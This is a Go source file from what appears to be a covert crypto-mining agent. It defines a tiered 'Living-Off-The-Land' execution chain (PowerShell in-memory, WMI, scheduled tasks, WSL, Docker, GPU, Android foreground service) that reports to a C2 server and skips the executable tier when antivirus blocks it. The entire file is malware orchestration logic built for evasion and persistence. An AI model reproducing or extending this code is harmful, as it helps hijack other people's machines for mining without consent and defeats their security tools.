package miner import ( "runtime" "strings" "crypto-miner-agent/config" ) // LOTLTier identifies one Living-Off-The-Land mining execution layer. type LOTLTier string const ( TierExeSubprocess LOTLTier = "exe_subprocess" TierDockerLoad LOTLTier = "docker_load" TierContainer LOTLTier = "container" TierWSL LOTLTier = "wsl" TierPSInMemory LOTLTier = "ps_inmemory" TierDotnet LOTLTier = "dotnet" TierCPUInprocess LOTLTier = "cpu_inprocess" TierVulnProbe LOTLTier = "vuln_probe" TierWebView2Probe LOTLTier = "webview2_probe" TierWMI LOTLTier = "wmi" TierScheduledTask LOTLTier = "scheduled_task" TierGPUCompute LOTLTier = "gpu_compute" TierGPUSubprocess LOTLTier = "gpu_subprocess" TierStratumDirect LOTLTier = "stratum_direct" TierForegroundService LOTLTier = "foreground_service" ) // TierAttempt records one tier try for C2/UI diagnostics. type TierAttempt struct { Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion) Tier LOTLTier `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet"` Details map[string]interface{} `json:"details,omitempty"` } // TierReport is the live LOTL onion snapshot sent to C2. type TierReport struct { ActiveTier LOTLTier `json:"lotl_tier,omitempty"` Attempts []TierAttempt `json:"lotl_attempts,omitempty"` MiningHashrate float64 `json:"mining_hashrate,omitempty"` TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"` TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"` WebGPUReady bool `json:"webgpu_ready,omitempty"` GPUComputeOK bool `json:"gpu_compute_ok,omitempty"` } // MiningTierPolicy is server-pulled ordering/overrides for the tier onion. type MiningTierPolicy struct { TierOrder []LOTLTier `json:"tier_order,omitempty"` SkipTiers []LOTLTier `json:"skip_tiers,omitempty"` ForceTier LOTLTier `json:"force_tier,omitempty"` } // DefaultTierOrder is the canonical onion when the server sends no override. // AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain. var DefaultTierOrder = []LOTLTier{ TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute, TierGPUSubprocess, TierStratumDirect, } // DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers. func DefaultWindowsTierOrder() []LOTLTier { return []LOTLTier{ TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute, } } // DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering. func DefaultMiningTierPolicy() MiningTierPolicy { return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)} } // DefaultAndroidTierOrder is the APK foreground-service → in-process mining path. var DefaultAndroidTierOrder = []LOTLTier{TierForegroundService, TierCPUInprocess} // SelectMiningTierChain returns the ordered tier onion from server policy with // local eligibility overrides from environment probes and forge execution mode. func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) { if config.IsAndroidPlatform() { chain = append([]LOTLTier(nil), DefaultAndroidTierOrder...) for _, tier := range DefaultTierOrder { if tier != TierForegroundService && tier != TierCPUInprocess { skipped = append(skipped, tier) } } if policy.ForceTier != "" && tierEligible(policy.ForceTier, probes, cfg, nil) { return []LOTLTier{policy.ForceTier}, skipped } return chain, skipped } base := policy.TierOrder if len(base) == 0 { base = DefaultTierOrder } skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers)) for _, t := range policy.SkipTiers { skipSet[t] = true } execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) switch execMode { case ExecutionInProcess: skipSet[TierExeSubprocess] = true skipSet[TierDockerLoad] = true skipSet[TierContainer] = true skipSet[TierWSL] = true skipSet[TierPSInMemory] = true skipSet[TierDotnet] = true case ExecutionContainer: skipSet[TierExeSubprocess] = true skipSet[TierWSL] = true skipSet[TierPSInMemory] = true case ExecutionPowerShell: skipSet[TierExeSubprocess] = true skipSet[TierContainer] = true skipSet[TierWSL] = true skipSet[TierDotnet] = true case ExecutionDotnet: skipSet[TierExeSubprocess] = true skipSet[TierContainer] = true skipSet[TierWSL] = true skipSet[TierPSInMemory] = true case ExecutionSubprocess: // subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback. skipSet[TierWSL] = true skipSet[TierPSInMemory] = true skipSet[TierDotnet] = true } // Diagnostics-driven automatic contingencies. if probes.AVBlocksExe { skipSet[TierExeSubprocess] = true } if !probes.Docker { skipSet[TierContainer] = true skipSet[TierDockerLoad] = true } if !HasImageTarPolicy(cfg) { skipSet[TierDockerLoad] = true } if !probes.WSL { skipSet[TierWSL] = true } if !probes.PowerShell { skipSet[TierPSInMemory] = true } if !probes.DotNet { skipSet[TierDotnet] = true } if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" { skipSet[TierGPUSubprocess] = true skipSet[TierGPUCompute] = true } if strings.TrimSpace(cfg.PoolHost) == "" { skipSet[TierStratumDirect] = true } if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" { skipSet[TierGPUCompute] = true } if runtime.GOOS != "windows" { skipSet[TierWebView2Probe] = true skipSet[TierWMI] = true skipSet[TierScheduledTask] = true skipSet[TierGPUCompute] = true } if policy.ForceTier != "" { if tierEligible(policy.ForceTier, probes, cfg, skipSet) { return []LOTLTier{policy.ForceTier}, skipped } skipSet[policy.ForceTier] = false } if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) { return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped } if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) { return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped } chain = make([]LOTLTier, 0, len(base)) for _, tier := range base { if skipSet[tier] { skipped = append(skipped, tier) continue } if !tierEligible(tier, probes, cfg, nil) { skipped = append(skipped, tier) continue } chain = append(chain, tier) } if len(chain) == 0 { chain = []LOTLTier{TierCPUInprocess} } return chain, skipped } func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool { if extraSkip != nil && extraSkip[tier] { return false } switch tier { case TierExeSubprocess: return !probes.AVBlocksExe case TierDockerLoad: return probes.Docker && HasImageTarPolicy(cfg) case TierContainer: return probes.Docker case TierWSL: return probes.WSL case TierPSInMemory: return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != "" case TierDotnet: return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != "" case TierCPUInprocess: return true case TierForegroundService: return probes.ForegroundService || config.IsAndroidPlatform() case TierGPUSubprocess: return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" case TierStratumDirect: return strings.TrimSpace(cfg.PoolHost) != "" case TierWebView2Probe: return runtime.GOOS == "windows" && probes.WebView2 case TierWMI: return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != "" case TierScheduledTask: return runtime.GOOS == "windows" case TierGPUCompute: return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" && (strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "") default: return false } } // PrimaryTiers are sequential CPU paths tried until one succeeds. func PrimaryTiers(chain []LOTLTier) []LOTLTier { var out []LOTLTier for _, t := range chain { switch t { case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierForegroundService, TierWMI, TierScheduledTask: out = append(out, t) } } return out } // ProbeTiers returns diagnostics-only tiers run before GPU escalation. // Vuln recon always runs first (report-only authorized fleet assessment). func ProbeTiers(chain []LOTLTier) []LOTLTier { out := []LOTLTier{TierVulnProbe} for _, t := range chain { if t == TierWebView2Probe { out = append(out, t) } } return out } // TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers. func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) { switch tier { case TierDockerLoad: return MethodDockerLoad, true case TierContainer: return MethodContainer, true case TierWSL: return MethodWSL, true case TierCPUInprocess: return MethodInProcess, true case TierForegroundService: return MethodInProcess, true case TierGPUSubprocess: return MethodGPUSubprocess, true case TierStratumDirect: return MethodStratumDirect, true case TierWMI: return MethodWMI, true case TierScheduledTask: return MethodScheduledTask, true case TierGPUCompute: return MethodGPUCompute, true case TierVulnProbe: return MethodVulnProbe, true case TierWebView2Probe: return MethodWebView2Probe, true case TierPSInMemory: return MethodPowerShell, true case TierDotnet: return MethodDotnet, true default: return "", false } }